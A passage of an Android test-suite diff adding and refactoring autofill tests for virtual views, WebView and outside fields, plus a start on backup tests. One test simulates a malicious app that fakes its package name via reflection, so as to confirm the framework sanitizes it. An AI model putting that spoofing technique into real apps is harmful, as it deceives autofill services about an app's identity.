+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testNot_null() {
+ assertThrows(IllegalArgumentException.class, () -> not(null));
+ }
+
+ @Test
+ public void testNot_invalidClass() {
+ assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
+ }
+
+ @Test
+ public void testNot_falseToTrue() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+ assertThat(notValidator.isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testNot_trueToFalse() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+ assertThat(notValidator.isValid(mValueFinder)).isFalse();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 8adbdd7..f5401af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -35,6 +35,7 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.VirtualContainerView.Line;
+import android.content.ComponentName;
import android.graphics.Rect;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
@@ -381,7 +382,7 @@
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
.build());
final CountDownLatch latch = new CountDownLatch(1);
@@ -411,6 +412,30 @@
sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
}
+ @Test
+ public void testAppCannotFakePackageName() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.acceptRequestsFromPackage("MALICIOUS");
+ mActivity.mCustomView.fakePackageName(new ComponentName("MALICIOUS", "AM.I"));
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.mUsername.changeFocus(true);
+ assertDatasetShown(mActivity.mUsername, "The Dude");
+
+ // Make sure package name was sanitized.
+ final FillRequest request = sReplier.getNextFillRequest();
+ assertThat(request.structure.getActivityComponent().getPackageName())
+ .isEqualTo(mPackageName);
+ }
+
/**
* Asserts the dataset picker is properly displayed in a give line.
*/
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 205fcae..d8b1c47 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -20,7 +20,9 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
+import android.content.ComponentName;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -72,6 +74,7 @@
private int mUnfocusedColor;
private boolean mSync = true;
private boolean mOverrideDispatchProvideAutofillStructure = false;
+ private ComponentName mFackedComponentName;
public VirtualContainerView(Context context, AttributeSet attrs) {
super(context, attrs);
@@ -192,6 +195,18 @@
Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
super.onProvideAutofillVirtualStructure(structure, flags);
+ if (mFackedComponentName != null) {
+ Log.d(TAG, "Faking package name to " + mFackedComponentName);
+ try {
+ final AssistStructure assistStructure = Helper.getField(structure, "mAssist");
+ if (assistStructure != null) {
+ Helper.setField(assistStructure, "mActivityComponent", mFackedComponentName);
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Could not fake package name to " + mFackedComponentName, e);
+ }
+ }
+
final String packageName = getContext().getPackageName();
structure.setClassName(getClass().getName());
final int childrenSize = mItems.size();
@@ -254,6 +269,11 @@
mSync = sync;
}
+ void fakePackageName(ComponentName name) {
+ mFackedComponentName = name;
+ }
+
+
void setOverrideDispatchProvideAutofillStructure(boolean flag) {
mOverrideDispatchProvideAutofillStructure = flag;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 9bc3df0..331c3d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -18,11 +18,13 @@
import android.os.Bundle;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
+import android.view.View;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.EditText;
+import android.widget.LinearLayout;
import java.io.IOException;
@@ -33,7 +35,21 @@
private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
static final String ID_WEBVIEW = "webview";
- WebView mWebView;
+ static final String HTML_NAME_USERNAME = "username";
+ static final String HTML_NAME_PASSWORD = "password";
+
+ static final String ID_OUTSIDE1 = "outside1";
+ static final String ID_OUTSIDE2 = "outside2";
+
+ // TODO(b/69557967): WebView currently does not report the nodes content description properties.
+ private static final boolean CONTENT_DESCRIPTION_SUPPORTED = false;
+
+ private MyWebView mWebView;
+
+ private LinearLayout mOutsideContainer1;
+ private LinearLayout mOutsideContainer2;
+ EditText mOutside1;
+ EditText mOutside2;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -64,7 +80,23 @@
}
}
});
- mWebView.loadUrl(FAKE_URL);
+
+ mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+ mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+ mOutside1 = findViewById(R.id.outside1);
+ mOutside2 = findViewById(R.id.outside2);
+ }
+
+ public MyWebView loadWebView() {
+ syncRunOnUiThread(() -> mWebView.loadUrl(FAKE_URL));
+ return mWebView;
+ }
+
+ public void loadOutsideViews() {
+ syncRunOnUiThread(() -> {
+ mOutsideContainer1.setVisibility(View.VISIBLE);
+ mOutsideContainer2.setVisibility(View.VISIBLE);
+ });
}
public UiObject2 getUsernameLabel(UiBot uiBot) {
@@ -75,7 +107,6 @@
return getLabel(uiBot, "Password: ");
}
-
public UiObject2 getUsernameInput(UiBot uiBot) {
return getInput(uiBot, "Username: ");
}
@@ -85,12 +116,14 @@
}
public UiObject2 getLoginButton(UiBot uiBot) {
- return uiBot.assertShownByContentDescription("Login");
+ return getLabel(uiBot, "Login");
}
private UiObject2 getLabel(UiBot uiBot, String contentDescription) {
- final UiObject2 label = uiBot.assertShownByContentDescription(contentDescription);
- return label;
+ if (!CONTENT_DESCRIPTION_SUPPORTED) {
+ return uiBot.assertShownByText(contentDescription);
+ }
+ return uiBot.assertShownByContentDescription(contentDescription);
}
private UiObject2 getInput(UiBot uiBot, String contentDescription) {
@@ -105,10 +138,12 @@
if (child.getClassName().equals(EditText.class.getName())) {
return child;
}
+ uiBot.dumpScreen();
throw new IllegalStateException("Invalid class for " + child);
}
previous = child;
}
+ uiBot.dumpScreen();
throw new IllegalStateException("could not find username (label=" + label + ")");
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7eb73d2..6eab0f3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -16,6 +16,10 @@
package android.autofillservice.cts;
import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
import static com.google.common.truth.Truth.assertThat;
@@ -81,11 +85,15 @@
// Set service.
enableService();
+ // Load WebView
+ final MyWebView myWebView = mActivity.loadWebView();
+
// Set expectations.
+ myWebView.expectAutofill("dude", "sweet");
final MyAutofillCallback callback = mActivity.registerCallback();
sReplier.addResponse(new CannedDataset.Builder()
- .setField("username", "dude")
- .setField("password", "sweet")
+ .setField(HTML_NAME_USERNAME, "dude")
+ .setField(HTML_NAME_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build());
@@ -95,18 +103,19 @@
sUiBot.assertDatasets("The Dude");
// Change focus around.
- final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
mActivity.getUsernameLabel(sUiBot).click();
- callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
sUiBot.assertNoDatasets();
mActivity.getPasswordInput(sUiBot).click();
- final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
// Now Autofill it.
sUiBot.selectDataset(datasetPicker, "The Dude");
+ myWebView.assertAutofilled();
sUiBot.assertNoDatasets();
- callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
// Make sure screen was autofilled.
assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -118,20 +127,14 @@
// Assert structure passed to service.
try {
- final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
- // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
- // be inside HtmlInfo, but Chromium 61 does not implement that.
- if (webViewNode.getClassName().equals("android.webkit.WebView")) {
- final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
- Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
- } else {
- assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
- assertThat(webViewNode.getHtmlInfo()).isNull();
- }
+ final ViewNode webViewNode =
+ Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+ assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+ assertThat(webViewNode.getWebScheme()).isEqualTo("https");
final ViewNode usernameNode =
- Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
Helper.assertTextIsSanitized(usernameNode);
final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
@@ -141,7 +144,7 @@
assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
final ViewNode passwordNode =
- Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
Helper.assertTextIsSanitized(passwordNode);
final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
@@ -161,9 +164,13 @@
// Set service.
enableService();
+ // Load WebView
+ mActivity.loadWebView();
+
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
.build());
// Trigger autofill.
@@ -190,8 +197,10 @@
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
- final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
- final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
if (INJECT_EVENTS) {
Helper.assertTextAndValue(usernameNode, "u");
Helper.assertTextAndValue(passwordNode, "p");
@@ -206,13 +215,18 @@
// Set service.
enableService();
+ // Load WebView
+ final MyWebView myWebView = mActivity.loadWebView();
+
// Set expectations.
final MyAutofillCallback callback = mActivity.registerCallback();
+ myWebView.expectAutofill("dude", "sweet");
sReplier.addResponse(new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
.addDataset(new CannedDataset.Builder()
- .setField("username", "dude")
- .setField("password", "sweet")
+ .setField(HTML_NAME_USERNAME, "dude")
+ .setField(HTML_NAME_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build())
.build());
@@ -221,21 +235,24 @@
mActivity.getUsernameInput(sUiBot).click();
final FillRequest fillRequest = sReplier.getNextFillRequest();
sUiBot.assertDatasets("The Dude");
- final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
// Assert structure passed to service.
- final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_USERNAME);
Helper.assertTextIsSanitized(usernameNode);
assertThat(usernameNode.isFocused()).isTrue();
assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
- final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_PASSWORD);
Helper.assertTextIsSanitized(passwordNode);
assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
assertThat(passwordNode.isFocused()).isFalse();
// Autofill it.
sUiBot.selectDataset("The Dude");
- callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ myWebView.assertAutofilled();
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
// Make sure screen was autofilled.
assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -262,8 +279,10 @@
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
- final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
- final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
if (INJECT_EVENTS) {
Helper.assertTextAndValue(usernameNode2, "dudeu");
Helper.assertTextAndValue(passwordNode2, "sweetp");
@@ -272,4 +291,285 @@
Helper.assertTextAndValue(passwordNode2, "SWEET");
}
}
+
+ @Test
+ public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+ // Set service.
+ enableService();
+
+ // Load views
+ final MyWebView myWebView = mActivity.loadWebView();
+ mActivity.loadOutsideViews();
+
+ // Set expectations.
+ myWebView.expectAutofill("dude", "sweet");
+ final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+ mActivity.mOutside1, "duder");
+ final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+ mActivity.mOutside2, "sweeter");
+ mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+ mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+ .addDataset(new CannedDataset.Builder()
+ .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+ .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+ .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+ .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("USER");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ // Assert structure passed to service.
+ final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_USERNAME);
+ Helper.assertTextIsSanitized(usernameFillNode);
+ assertThat(usernameFillNode.isFocused()).isTrue();
+ assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_PASSWORD);
+ Helper.assertTextIsSanitized(passwordFillNode);
+ assertThat(passwordFillNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordFillNode.isFocused()).isFalse();
+
+ final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextIsSanitized(outside1FillNode);
+ final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextIsSanitized(outside2FillNode);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ mActivity.getPasswordInput(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("PASS");
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Autofill it.
+ sUiBot.selectDataset(datasetPicker, "OUT2");
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+ myWebView.assertAutofilled();
+ outside1Watcher.assertAutoFilled();
+ outside2Watcher.assertAutoFilled();
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.runOnUiThread(() -> {
+ mActivity.mOutside1.setText("DUDER");
+ mActivity.mOutside2.setText("SWEETER");
+ });
+
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+ Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+ Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+ }
+
+ final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+ final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+ }
+
+
+ @Test
+ public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+ if (true) return; // TODO(b/69461853): re-enable once WebView fixes it
+
+ // Set service.
+ enableService();
+
+ // Load outside views
+ mActivity.loadOutsideViews();
+
+ // Set expectations.
+ final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+ mActivity.mOutside1, "duder");
+ final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+ mActivity.mOutside2, "sweeter");
+ mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+ mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.setIdMode(IdMode.RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+ .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Assert structure passed to service.
+ final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextIsSanitized(outside1FillNode);
+ final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextIsSanitized(outside2FillNode);
+
+ // Now load Webiew
+ final MyWebView myWebView = mActivity.loadWebView();
+
+ // Set expectations
+ myWebView.expectAutofill("dude", "sweet");
+ sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+ .addDataset(new CannedDataset.Builder()
+ .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+ .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ sUiBot.assertDatasets("USER");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ mActivity.getPasswordInput(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ sUiBot.assertDatasets("PASS");
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Assert structure passed to service.
+ final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+ HTML_NAME_USERNAME);
+ Helper.assertTextIsSanitized(usernameFillNode);
+ assertThat(usernameFillNode.isFocused()).isTrue();
+ assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+ HTML_NAME_PASSWORD);
+ Helper.assertTextIsSanitized(passwordFillNode);
+ assertThat(passwordFillNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordFillNode.isFocused()).isFalse();
+
+ // Autofill external views (2nd partition)
+ sUiBot.selectDataset(datasetPicker, "OUT2");
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ outside1Watcher.assertAutoFilled();
+ outside2Watcher.assertAutoFilled();
+
+ // Autofill Webview (1st partition)
+ mActivity.getUsernameInput(sUiBot).click();
+ callback.assertUiShownEventForVirtualChild(myWebView);
+ sUiBot.selectDataset("USER");
+ myWebView.assertAutofilled();
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.runOnUiThread(() -> {
+ mActivity.mOutside1.setText("DUDER");
+ mActivity.mOutside2.setText("SWEETER");
+ });
+
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+ Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+ Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+ }
+
+ final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+ final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
index 5d3baca..7165858 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -17,7 +17,10 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.PendingIntent;
+import android.content.Context;
import android.content.Intent;
+import android.content.IntentSender;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.test.uiautomator.UiObject2;
@@ -82,4 +85,11 @@
assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
.isEqualTo(expectedMessage);
}
+
+ public static IntentSender createSender(Context context, String message) {
+ final Intent intent = new Intent(context, WelcomeActivity.class);
+ intent.putExtra(EXTRA_MESSAGE, message);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+ return pendingIntent.getIntentSender();
+ }
}
diff --git a/tests/backup/AndroidManifest.xml b/tests/backup/AndroidManifest.xml
index 333045a..28745f3 100644
--- a/tests/backup/AndroidManifest.xml
+++ b/tests/backup/AndroidManifest.xml
@@ -20,6 +20,7 @@
<application>
<uses-library android:name="android.test.runner" />
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
index bbd0d26..343f2d9 100644
--- a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -21,14 +21,14 @@
import android.os.ParcelFileDescriptor;
import android.test.InstrumentationTestCase;
+import com.android.compatibility.common.util.LogcatInspector;
+
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
-import java.util.UUID;
-import java.util.concurrent.TimeUnit;
/**
* Base class for backup instrumentation tests.
@@ -41,9 +41,14 @@
private static final String LOCAL_TRANSPORT =
"android/com.android.internal.backup.LocalTransport";
- private static final int SMALL_LOGCAT_DELAY = 1000;
-
private boolean isBackupSupported;
+ private LogcatInspector mLogcatInspector =
+ new LogcatInspector() {
+ @Override
